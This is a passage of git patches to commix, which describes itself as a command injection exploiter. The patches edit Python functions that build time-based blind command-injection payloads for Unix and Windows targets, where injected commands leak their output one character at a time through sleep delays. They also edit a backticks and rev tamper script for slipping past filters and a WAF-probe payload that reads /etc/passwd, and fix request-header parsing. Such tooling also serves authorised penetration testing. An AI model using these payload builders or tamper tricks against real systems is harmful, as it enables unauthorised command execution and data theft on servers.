settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + "[ " + str(j) + " -eq ${str1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII - "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + - separator + "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) separator = _urllib.parse.unquote(separator) @@ -257,10 +249,9 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth cmd = checks.add_command_substitution(cmd) payload = (pipe + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) else: pass @@ -282,11 +273,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -295,32 +286,30 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(j) + " -ne ${str1} ] " + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) separator = _urllib.parse.unquote(separator) @@ -328,10 +317,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + - "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -361,8 +349,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -375,24 +363,22 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http if separator == ";" or separator == "%0a" : payload = (separator + # Use space as delimiter - "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + # Use space as delimiter - "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -400,14 +386,13 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "cut -c " + str(num_of_chars) + pipe + "od -N 1 -i" + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) else: pass @@ -426,38 +411,36 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -465,9 +448,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass @@ -496,8 +478,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " @@ -509,23 +491,21 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -533,9 +513,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + ") ] " + separator + - "sleep " + str(timesec) + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + ") ] " + separator + + "sleep " + str(timesec) ) else: pass @@ -555,37 +534,35 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -593,9 +570,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: pass diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index a9d1c80086..ae21a90b08 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -13,8 +13,10 @@ For more see the file 'readme/COPYING' for copying permission. """ +from src.utils import menu from src.utils import settings + """ About: Uses backticks instead of "$()" for commands substitution on the generated payloads. Notes: This tamper script works against Unix-like target(s). @@ -27,8 +29,9 @@ def tamper(payload): settings.TAMPER_SCRIPTS[__tamper__] = True - settings.USE_BACKTICKS = True - payload = payload.replace("$((", "`expr" + settings.WHITESPACES[0]).replace("))", "`") + if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: + settings.USE_BACKTICKS = True + settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index ad97f3487b..5b8838e89b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -329,6 +329,9 @@ def sys_argv_errors(): CMD_NUL = "" +CMD_SUB_PREFIX = "$(" +CMD_SUB_SUFFIX = ")" + # Maybe a WAF/IPS protection. WAF_CHECK_PAYLOAD = "cat /etc/passwd|uname&&ping -c3 localhost;ls ../" WAF_ENABLED = False @@ -340,14 +343,16 @@ class HEURISTIC_TEST(object): RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) CALC_STRING = str(RAND_A) + " %2B " + str(RAND_B) -BASIC_STRING = "(" + CALC_STRING + ")" -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26echo $(" + BASIC_STRING + ")|echo $(" + BASIC_STRING + ")" + RANDOM_STRING_GENERATOR , - "|set /a " + BASIC_STRING + "%26set /a " + BASIC_STRING - ] +BASIC_STRING = "" +BASIC_COMMAND_INJECTION_PAYLOADS = [] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")|echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", - "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL - ] +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + "%26echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + "|echo " + CMD_SUB_PREFIX + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + CMD_SUB_SUFFIX + + RANDOM_STRING_GENERATOR, + "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) IDENTIFIED_COMMAND_INJECTION = False From 516af4c059439c06f64c352275a0f5bfcd026b59 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Jan 2025 07:43:39 +0200 Subject: [PATCH 525/560] Minor update --- src/core/main.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 5fff92aed8..2dbe2d9eb3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -420,6 +420,7 @@ def main(filename, url, http_request_method): else: menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + menu.options.tech = menu.options.tech.lower() # Check for skipping injection techniques. if menu.options.skip_tech: # Convert injection technique(s) to lowercase diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b8838e89b..7c1d8027f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3307ebf94f7ffd035dbd3e68bebf15411c699ad0 Mon Sep 17 00:00:00 2001 From: _raeph <53398218+raeph123@users.noreply.github.com> Date: Wed, 15 Jan 2025 15:41:47 +0000 Subject: [PATCH 526/560] Update parser.py If commix is used with a file and -r and a host header like "X-Forwarded-Host:" is set, commix took this host as target. This is fixed with checking if "Host" is at the beginning of the line --- src/core/injections/controller/parser.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index f16d022116..c857968483 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -124,7 +124,7 @@ def invalid_data(request): scheme = "http://" for line in request_headers: - if re.findall(r"" + settings.HOST + ":" + " (.*)", line): + if re.findall(r"^" + settings.HOST + ":" + " (.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)]) # User-Agent Header if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line): @@ -188,4 +188,4 @@ def invalid_data(request): sub_content = "POST data: " + menu.options.data settings.print_data_to_stdout(settings.print_sub_content(sub_content)) -# eof \ No newline at end of file +# eof From ceca8cd17cb5f167d1cce8ecccbe8fc75b08faf7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Jan 2025 08:02:55 +0200 Subject: [PATCH 527/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/79909148b3aa7e45d0d2f09e08d4c2d7638cd832 --- src/core/tamper/rev.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 55993592e2..b667a40e0d 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -32,7 +32,7 @@ def tamper(payload): if settings.EXPLOITATION_PHASE: if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: if settings.USE_BACKTICKS: - rev_cmd = "`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev`" + rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" else: rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) diff --git a/src/utils/settings.py b/src/utils/settings.py index 7c1d8027f9..15daa009a2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if 